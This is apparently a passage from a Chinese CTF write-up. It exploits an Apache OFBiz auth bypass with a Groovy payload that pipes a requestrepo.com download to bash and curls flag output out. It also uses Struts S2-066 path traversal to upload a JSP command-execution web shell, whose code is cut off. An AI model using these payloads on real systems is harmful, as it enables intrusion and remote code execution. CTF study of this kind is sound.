data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhhbG5scHhxajF0czY2ZmVqJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhhbTNyMGl3bGQ2Y2xzYWFnJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyQ1ZFLTIwMjMtNTE0NjclMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoaWdobGlnaHQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2IoMjQ1JTJDJTIwMjQ2JTJDJTIwMjQ4KSUyMiU3RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJzcGFjaW5nJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBLTAuMTY4NzQ5OTk5OTk5OTk5OTglN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">POST /webtools/control/ProgramExport;/?USERNAME=&amp;PASSWORD=&amp;requirePasswordChange=Y HTTP/1.1</span></span></code><code><span class="code-snippet_outer">Host: 127.0.0.1:8443</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Accept-Encoding</span>: gzip, deflate, br</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Accept</span>: */*</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Accept-Language</span>: en-US;q=0.9,en;q=0.8</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Cache-Control</span>: max-age=0</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Content-Type</span>: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Content-Length</span>: 81</span></code><code><span class="code-snippet_outer">groovyProgram=[<span style="color: rgb(221, 17, 68);">&#34;sh&#34;</span>,<span style="color: rgb(221, 17, 68);">&#34;-c&#34;</span>,<span style="color: rgb(221, 17, 68);">&#34;curl <a href="http://igr3yxom.requestrepo.com" target="_blank">http://igr3yxom.requestrepo.com</a> | bash&#34;</span>].execute()</span></code></pre></section></article><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxaovvwshwaalkodcq&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;这里使用的 &#39;]],[&#39;a&#39;,{&#39;href&#39;:&#39;https://requestrepo.com/&#39;,&#39;uuid&#39;:&#39;lrxap4j9ejlujas1ql&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;https://requestrepo.com/&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39; 服务来控制回显，回显内容如下&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhhb3Z2d3Nod2FhbGtvZGNxJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JUJGJTk5JUU5JTg3JThDJUU0JUJEJUJGJUU3JTk0JUE4JUU3JTlBJTg0JTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaW5rJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmhyZWYlMjIlM0ElMjJodHRwcyUzQSUyRiUyRnJlcXVlc3RyZXBvLmNvbSUyRiUyMiUyQyUyMnV1aWQlMjIlM0ElMjJscnhhcDRqOWVqbHVqYXMxcWwlMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJodHRwcyUzQSUyRiUyRnJlcXVlc3RyZXBvLmNvbSUyRiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMCVFNiU5QyU4RCVFNSU4QSVBMSVFNiU5RCVBNSVFNiU4RSVBNyVFNSU4OCVCNiVFNSU5QiU5RSVFNiU5OCVCRSVFRiVCQyU4QyVFNSU5QiU5RSVFNiU5OCVCRSVFNSU4NiU4NSVFNSVBRSVCOSVFNSVBNiU4MiVFNCVCOCU4QiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">这里使用的 <a href="https://requestrepo.com/ 服务来控制回显，回显内容如下" target="_blank">https://requestrepo.com/ 服务来控制回显，回显内容如下</a></span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="441" data-backw="578" data-imgfileid="503903315" data-ratio="0.762962962962963" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=35afba52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicTjYG7v9ksxUfXRUQHibknUwUCpF6Yia9uvlU72vmnbWa99oAmjHmADsLUB5kUopicWeMyOyficUrdqCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">curl <a href="http://requestrepo.com/igr3yxom/" target="_blank">http://requestrepo.com/igr3yxom/</a> --data $(/readflag)</span></code></pre></section><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="384" data-backw="578" data-imgfileid="503903318" data-ratio="0.6648148148148149" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=34c11c76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicTjYG7v9ksxUfXRUQHibknUwZpUTRJvL10EzEiawgibLwmME6KhjuXWMHfEOsrFCjQekFwy0GjiauhItw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style=""><br/></p><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>02</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-more-Elegant</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p style=""><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Web</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Baby</span></p><p><br/></p><p><span style="font-size: 15px;">这里考察的是 s2-066 ，提供了附件下载下来之后，可以进行代码审计</span></p><p><span style="font-size: 15px;">在</span><span style="background-color: rgb(214, 214, 214);font-size: 15px;"> b</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">e.more.elegant.filter.JspFilter#doFilter </span><span style="font-size: 15px;">中限制了 jsp 访问路径只能是</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">  /view </span><span style="font-size: 15px;">开头的，其他路由的 jsp 是无法访问的。</span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="166" data-backw="578" data-imgfileid="503903316" data-ratio="0.287962962962963" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a284a765&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicTjYG7v9ksxUfXRUQHibknUwFKS6ibyj0xb7DoDx5kEFv8ZloEbIWbic3WE8yCbFELiabS52ia6JKDoia8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxbrfuwo1os56mpv8&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxbtzp3534kxbsw3d8&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;be.more.elegant.HeaderIconAction#doUpload&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;这个方法对应的路由是&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxbut6zv5ec0q5lhbs&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;/upload.action&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;，&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhicmZ1d28xb3M1Nm1wdjglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyaW5saW5lJTIyJTJDJTIydHlwZSUyMiUzQSUyMmlubGluZUNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxyeGJ0enAzNTM0a3hic3czZDglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJiZS5tb3JlLmVsZWdhbnQuSGVhZGVySWNvbkFjdGlvbiUyM2RvVXBsb2FkJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JUJGJTk5JUU0JUI4JUFBJUU2JTk2JUI5JUU2JUIzJTk1JUU1JUFGJUI5JUU1JUJBJTk0JUU3JTlBJTg0JUU4JUI3JUFGJUU3JTk0JUIxJUU2JTk4JUFGJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhidXQ2enY1ZWMwcTVsaGJzJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJGdXBsb2FkLmFjdGlvbiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFRiVCQyU4QyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxbrfuwo1os56mpv8&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxbtzp3534kxbsw3d8&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;be.more.elegant.HeaderIconAction#doUpload&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;这个方法对应的路由是&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxbut6zv5ec0q5lhbs&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;/upload.action&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;，&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhicmZ1d28xb3M1Nm1wdjglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyaW5saW5lJTIyJTJDJTIydHlwZSUyMiUzQSUyMmlubGluZUNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxyeGJ0enAzNTM0a3hic3czZDglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJiZS5tb3JlLmVsZWdhbnQuSGVhZGVySWNvbkFjdGlvbiUyM2RvVXBsb2FkJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JUJGJTk5JUU0JUI4JUFBJUU2JTk2JUI5JUU2JUIzJTk1JUU1JUFGJUI5JUU1JUJBJTk0JUU3JTlBJTg0JUU4JUI3JUFGJUU3JTk0JUIxJUU2JTk4JUFGJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhidXQ2enY1ZWMwcTVsaGJzJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJGdXBsb2FkLmFjdGlvbiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFRiVCQyU4QyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">be.more.elegant.HeaderIconAction#doUpload</span><span style="font-size: 15px;">这个方法对应的路由是</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">/upload.action</span><span style="font-size: 15px;">，</span></p></article></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="295" data-backw="578" data-imgfileid="503903317" data-ratio="0.511002444987775" data-s="300,640" data-type="png" data-w="818" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c1937472&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicTjYG7v9ksxUfXRUQHibknUw0AnN0mAZcibOe7eMHMGfKibmcWhU7kvsEh7wJNic6icAw7iap82CDxMSqcw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxbvlcdtaqak2uzgrh&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;由于 s2 的限制，正常上传的文件名是无法包含 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxbwjml7h2x0bjxtzn&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;..&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;的。所以我们通过 s2 066 这个漏洞，由于 s2 对于大小不敏感，所以我们可以使用如下 payload 去对 fileUploadFileName 进行二次赋值，让实际的 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxc093i8o77acbe4q&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;fileUploadFileName&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;内容为 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxc0m7gykjrqth1hiq&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;../../../views/a.jsp&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;，这样就可以通过跨目录写 jsp 到 views 目录下。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxc13li5w90hk3enos&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;bold&#39;:true,&#39;data-type&#39;:&#39;leaf&#39;},&#39;ps: 这里要注意在使用这个包之前需要上传一个正常的文件，保证 md5 的目录可以创建出来。因为 ../ 在 linux 系统下是无法跳到一个不存在的目录的。&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">由于 s2 的限制，正常上传的文件名是无法包含</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> .. </span><span style="font-size: 15px;">的。所以我们通过 s2 066 这个漏洞，由于 s2 对于大小不敏感，所以我们可以使用如下 payload 去对 fileUploadFileName 进行二次赋值，让实际的</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">  fileUploadFileName </span><span style="font-size: 15px;">内容为</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> ../../../views/a.jsp </span><span style="font-size: 15px;">，这样就可以通过跨目录写 jsp 到 views 目录下。</span></p><p><span style="font-size: 15px;"><strong>ps: 这里要注意在使用这个包之前需要上传一个正常的文件，保证 md5 的目录可以创建出来。因为 ../ 在 linux 系统下是无法跳到一个不存在的目录的。</strong></span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">POST</span> <span style="color: rgb(221, 17, 68);">/upload.action;jsessionid=D2DF7842CD2DEA1BE82A7300A134F655</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">User-Agent</span>: PostmanRuntime/7.36.1</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Accept</span>: */*</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Host</span>: 192.168.144.1:8081</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Accept-Encoding</span>: gzip, deflate, br</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Content-Type</span>: multipart/form-data; boundary=--------------------------319187937788325310215959</span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">Content-Length</span>: 1737</span></code><code><span class="code-snippet_outer">---------------------------<span style="color: rgb(14, 156, 229);">-319187937788325310215959</span></span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span style="color: rgb(221, 17, 68);">&#34;FileUpload&#34;</span>; filename=<span style="color: rgb(221, 17, 68);">&#34;a.jsp&#34;</span></span></code><code><span class="code-snippet_outer">Content-Type: application/octet-stream</span></code><code><span class="code-snippet_outer">&lt;%@ page language=<span style="color: rgb(221, 17, 68);">&#34;java&#34;</span> contentType=<span style="color: rgb(221, 17, 68);">&#34;text/html; charset=UTF-8&#34;</span></span></code><code><span class="code-snippet_outer">    pageEncoding=<span style="color: rgb(221, 17, 68);">&#34;UTF-8&#34;</span>%&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page import=<span style="color: rgb(221, 17, 68);">&#34;java.io.*&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;!DOCTYPE html&gt;</span></code><code><span class="code-snippet_outer">&lt;html&gt;</span></code><code><span class="code-snippet_outer">&lt;head&gt;</span></code><code><span class="code-snippet_outer">    &lt;title&gt;Command Execution&lt;/title&gt;</span></code><code><span class="code-snippet_outer">&lt;/head&gt;</span></code><code><span class="code-snippet_outer">&lt;body&gt;</span></code><code><span class="code-snippet_outer">    &lt;%</span></code><code><span class="code-snippet_outer">        String command = request.getParameter(<span style="color: rgb(221, 17, 68);">&#34;a&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">if</span> (command != <span style="color: rgb(14, 156, 229);">null</span> &amp;&amp; !command.isEmpty()) {</span></code><code><span class="code-snippet_outer">            String output = <span style="color: rgb(221, 17, 68);">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">try</span> {</span></code><code><span class="code-snippet_outer">                Process process = Runtime.getRuntime().exec(command);</span></code><code><span class="code-snippet_outer">                BufferedReader reader = <span style="color: rgb(202, 125, 55);">new</span> BufferedReader(<span style="color: rgb(202, 125, 55);">new</span> 